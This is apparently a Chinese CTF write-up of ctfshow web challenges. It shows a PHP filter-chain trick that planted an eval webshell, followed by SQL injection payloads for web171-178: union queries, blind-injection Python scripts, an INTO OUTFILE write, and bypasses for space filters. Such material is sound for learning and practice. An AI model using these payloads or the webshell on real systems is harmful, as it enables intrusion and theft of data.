这里不管传什么都会先出现一个<?php die();?>,所以首先要绕过die(),如果file与contents采用base64,rot13之类的”特殊方式“识别,那么<?php die();?>也会因此被特殊化掉,这样他就失去了他的用处,可这里base与rot都被禁掉了,那么就得采用一些与此类似的东西
这里采用UCS-2LE UCS-2BE:将字符两位两位进行交换
因为是两位进行一次反转,所以要尽量保证你的总字符串位数为偶数
<?php
highlight_file(__FILE__);
echo iconv("UCS-2BE","UCS-2LE",'<?php eval($_POST[1]);?>');
在源码中找到变换后的非正常编码
?<hp pvela$(P_SO[T]1;)>?
接下来将两种编码的位置换一下:
<?php
highlight_file(__FILE__);
echo iconv("UCS-2LE","UCS-2BE",'<?php die();?');
echo iconv("UCS-2LE","UCS-2BE",'?<hp pvela$(P_SO[T]1;)>?');
可以看到<?php die();?>被iconv过滤器改变编码后,变成了不正常的php代码,?<hp pid(e;)>?
而我们不正常的代码变成了正常的一句话木马,从而实现绕过die
由于filter没有被过滤,所以可以采用这个伪协议传入文件
payload:
GET:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
POST:
contents=?<hp pvela$(P_SO[T]1;)>?
现在,包含一句话木马的a.php已经传入,密钥为post方式的1
然后访问a.php,在POST处执行我们的命令。
cat不行就换tac(其实感觉tac更好用一些)
这道题很综合,很新颖
文件包含暂时告一段落啦
SQL注入
web171(无过滤注入1)
最简单的sql注入,先演示基本操作
payload:
-1' union select 1,2,database() --+ //得到数据库名为ctfshow_web
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+ //得到数据表名为ctfshow_user
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+ //得到列名为id,username,password
-1' union select 1,2,group_concat(username,':',password) from ctfshow_user --+
web172(无过滤注入2)
使用
#
号
- 有时发现执行的sql语句中没有
#
号- 原因是url中
#
号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#
- 将#号改成url的编码%23就可以了
使用
--
和使用--+
这道题常使用#但是发现没有--+倒时可以
测试语句:
根据题目提示看到返回的信息不包含flag
利用查看列数。
1' order by 1 --+ //回显正常
1' order by 2 --+ //回显正常
1' order by 3 --+ //回显错误
再利用查回显位(第二位)
1' union select 1,2--+
爆库名:
1' union select database(),version() --+
爆表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web' --+
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+
1' union select 1,group_concat(password) from ctfshow_web.ctfshow_user2 --+
或许这道题的本意是查询语句中不能有flag
//查询返回的结果不能有flag,可以利用base64或hex绕过
payload =" 1' union select to_base64(username),to_base64(password) from ctfshow_user2 --+"
得出来的结果再进行解码。
web173
和172相同,都是说查询语句中不能有flag,只不过这道题有三列
1' union select id,hex(username),hex(password) from ctfshow_user3--+
这是参考的payload,他的思想和一般的有些不一样,就是把整个内容都爆出来然后再找flag
web174
除了不能出现flag,还不能出现数字
应该是有数字或者username=flag就不输出,主要是这个数字的限制有点烦,flag里面肯定是有数字的..
由于没有回显,这道题大概使用盲目注入:
借鉴一下其他博主的答案:
通过抓包,发现关键网站
http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v3.php?page=1&limit=10
但是没有回显,有点懵逼,想到这道题是第四题尝试改为v4.php好家伙有回显了
http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1
之后我想到了利用盲注的方式来读取表格,这里采用了二分法,感兴趣的师傅可以看看我都脚本,这里采用了二分法
# @Author:Y4tacker
import requests
url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
web175
返回逻辑
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
二分时间盲目注入:
# @Author:Y4tacker
import requests
url = "http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = f'1=if(ascii(substr((select password from ctfshow_user5 limit 24,1),{i},1))>{mid},sleep(2),0) -- -'
try:
r = requests.get(url + payload, timeout=0.5)
tail = mid
except Exception as e:
head = mid + 1
if head != 32:
result += chr(head)
else:
break
print(result)
解法二:解法二很神奇
利用读写文件写入网站根目录
http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/api/v5.php?id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+&page=1&limit=10
之后访问http://7eac161c-e06e-4d48-baa5-f11edaee7d38.chall.ctf.show/1.txt
原文链接:https://blog.csdn.net/solitudi/article/details/110144623
![](https://i-blog.csdnimg.cn/blog_migrate/7c1ea8a20aa9ac1442852f13d7f65436.png)
web176
![](https://i-blog.csdnimg.cn/blog_migrate/a54a006228207d47eb8673fec25a2a1d.png)
有过滤
确定是字符型
没有回显,我怀疑是有过滤,但是目前不确定是什么过滤,大概率问题出在select或者union上,试了一下双写绕过发现并不可行,试试大小写绕过
发现有回显了,经过测试,猜测是select被过滤了
拿到flag
web177(空格过滤)
![](https://i-blog.csdnimg.cn/blog_migrate/14d6521173db5b80a4ca54f79ceade8d.png)
sql注入绕过空格过滤_2021gracedoudou的博客-CSDN博客_sql注入空格绕过
这个链接介绍了两种空格过滤的绕过方式:1、注释过滤2、符号过滤
这一道题还有一个奇怪的点就是:--+、#都用不了只能用%23(#的url)
再继续按顺序.......
最终payload:
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23
web178(空格绕过2)
SQL注入绕过技巧_不常在河边走的博客-CSDN博客_sql注入绕过
原来绕过空格还有很多种方法
空格绕过
1.用注释替换空格
select//user,password//from /**/users;
2.空格url编码%20
3.两个空格代替一个空格
4.用Tab代替空格
5.%a0=空格
6.如果空格被过滤,括号没有被过滤,可以用括号绕过
select(user())from dual where(1=1)and(2=2)
7.回车
这道题不同于上一道的就是吧/**/给过滤了,所以就不能用、**、绕过空格过滤
这里尝试tab键(URl为%09)
payload:
1'%09union%09select%091,2,3%23
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23